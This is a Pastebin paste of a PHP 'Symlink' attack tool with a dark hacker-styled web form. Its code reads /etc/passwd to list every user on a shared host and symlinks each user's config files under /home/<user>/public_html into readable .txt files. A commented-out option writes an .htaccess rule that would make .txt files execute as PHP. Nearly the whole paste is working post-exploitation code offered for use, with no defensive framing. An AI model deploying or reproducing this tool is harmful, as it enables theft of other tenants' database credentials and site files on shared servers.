Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>Symlink</title>
- <link href='' type='image/x-icon' rel='shortcut icon' />
- <style>
- body{background-color:#111;color:#00ff00;}
- body,td,th{ font: 8pt Lucida,Tahoma;margin:0;vertical-align:top;color:#00ff00; }
- table.info{ color:#000;background-color:#222; }
- text-align: center;
- span,h1,a{ color: $color !important; }
- span{ font-weight: bolder; }
- h1{ border-left:7px solid $color;padding: 3px 5px;font: 14pt Verdana;background-color:#333;margin:0px; }
- div.content{ padding: 5px;margin-left:5px;background-color:#222; }
- a{ text-decoration:none; }
- a:hover{ text-decoration:underline; }
- .ml1{ border:1px solid #555;padding:5px;margin:0;overflow: auto; }
- .bigarea{ width:100%;height:300px; }
- #new,input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
- input,textarea,select{ margin:0;color:#999;background-color:#222;border:1px solid $color; font: 8pt Tahoma,"Tahoma"; }
- .style{
- font-size: 36px;
- text-align: center;
- color: #FFFFFF;
- background-color: #000000;
- font-family: Georgia, "Times New Roman", Times, serif;
- }
- #textarea {
- background-color: #000000;
- -moz-border-radius: 15px;
- -webkit-border-radius: 15px;
- border: 1px solid #FF0000;
- padding: 5px; color:#FF0000
- }
- </style>
- <div align="center" class="style">Symlink</div>
- <p> </p>
- <form action="" method="post">
- <p align="center">
- <font size="5">Configs Path:</font>
- <p> </p>
- <p align="center"><textarea id="textarea" name="configs" cols="100" rows="18" >index.php</textarea>
- <p> </p>
- <p align="center"><font size="5">Home Path:</font>
- <p> </p>
- <p align="center"><input name="home" type="text" size="30" value="/home"/><br>
- <p> </p>
- <p align="center"><font size="5">Files Path:</font>
- <p> </p>
- <p align="center"><input name="public" type="text" size="30" value="/public_html"/><br>
- <p> </p>
- <p align="center"><input name="symlink" size="80" value="Symlink" type="submit">
- <p> </p>
- </form>
- <?
- set_time_limit(0); // no time limit
- if(isset($_POST["symlink"])){
- $configs = explode("\n",$_POST["configs"]);
- $public = $_POST['public'];
- $home = $_POST['home'];
- $passwd = fopen("/etc/passwd", "rb"); // Read Passwd File
- while (!feof($passwd) ) {
- $lines = fgets($passwd); // >> Get Contents Of The Passwd File
- $user = explode(':', $lines); // Explode The Passwd File By :
- file_put_contents("users.txt" , $user[0]."\n", FILE_APPEND); // Write A New File Contain Users
- // StarT Symlinking ...
- foreach ($configs as $config){
- //$home.'/'.$user[0].$public.'/'.$config >> Traget Config
- //$user[0].'_'.$config.'.txt' >> File Link Name
- symlink($home.'/'.$user[0].$public.'/'.$config, $user[0].'_'.$config.'.txt');
- // Symlink Function Requested Check Your Disabled Function
- /*
- if (file_exists($user[0].'_'.$config.'.txt')){
- $link=$user[0].'_'.$config.'.txt';
- echo "<p align='center'><font color='red'>Symlink: $link</font></p>";
- }
- */
- // Done Symilnking :p
- }
- }
- // Generate .htaccess Delete The // To Activate The Action :p
- // file_put_contents(".htaccess" , "AddHandler php-script .txt\nAddType text/html htm html php\n", FILE_APPEND);
- // Oh FinallY :p !!
- print "<p align='center'><font color='#F6358A' size='4'>DonE !</p>";
- }
- ?>
- </head>
- </html>
- <?php
- // EOF !!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement